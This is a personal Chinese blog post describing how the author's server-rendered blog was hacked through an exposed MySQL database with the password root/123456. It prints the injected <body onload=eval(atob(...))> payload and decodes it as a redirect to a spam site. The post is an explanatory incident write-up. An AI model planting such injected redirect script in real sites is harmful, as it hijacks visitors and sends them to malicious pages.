记录网站被黑的一次经历

出现的问题

一天访问自己给朋友开发的一个博客网站,发现页面出现异常的字符串,样式都乱了,然后网页自动跳转到了一个非常规且有颜色的网站,着实吓了一跳,一直以为黑客大哥离我们很远,结果就发生在自己身上,还有种说不出来的小激动欸。

现状

  1. pc访问进入页面后页面文字样式异常看到了多行<body/onload=eval(atob("xxxxxxxx的文字,随后页面就被重定向了,进入了上面所说的非常规且有颜色的网站
  2. 微信或者手机浏览器访问则被腾讯和默认浏览器拦截了。

问题排查

看到这个被黑的现象,第一反应肯定是数据库被黑了。不可能是代码除了问题,因为服务器密码比较复杂,而且这个博客项目是通过docker启动的一个node服务,改代码的可能性不是很大,因为数据每次都没变所以问题肯定出在mysql数据库,果不其然,登录上数据库一看。
image
数据库中很多个表的title、content 等等字段都被改成了<body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIikxa="))>这个内容。
由于这个博客项目是服务器端渲染之后返回的html页面,上面的字符串就被浏览器解析成了body标签,随后执行了后面的代码。我们来看看这段代码的意思


这段代码是一个基于JavaScript编写的代码段,使用了dataURI和eval函数。它的具体意义需要分段来解释。首先,eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vaHpyMGRtMjhtMTdjLmNvbS9lYm1zczBqcTc/a2V5PWM5MGEzMzYzMDEzYzVmY2FhZjhiZjVhOWE0ZTQwODZhIikxa="))是一个eval函数调用,atob函数用于对Base64编码进行解码,解码后返回的是一段数据。这段数据实际上是一个URL字符串。

将这段URL字符串解码后可得到: "windows.location.replace("https://hzp2dm28m17c.com/ebmss0jq7?key=c90a3363013c5fc8b265a9a4e4086a")"。

接下来是windows.location.replace函数。该函数会立即导致浏览器窗口的位置被改变为指定的URL,并在导航历史记录中创建一个新的入口。在这种情况下,URL是"https://hzp2dm28m17c.com/ebmss0jq7?key=c90a3363013c5fc8b265a9a4e4086a"。

随后执行代码之后,页面就跳转了。相当于免费给这个网站引流了。

总结

被黑的原因(笑死人)是因为mysql数据库开启了远程连接,而且用户名密码特别简单,root/123456。笑死人了。
好在这个网站刚上线,内容都不多。修改密码后把sql初始化一下就可以了。
由于发现的比较早,否则警察叔叔就要请喝茶了
注:上面的跳转链接已修改(防止传播)

posted @   明月南楼  阅读(142)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示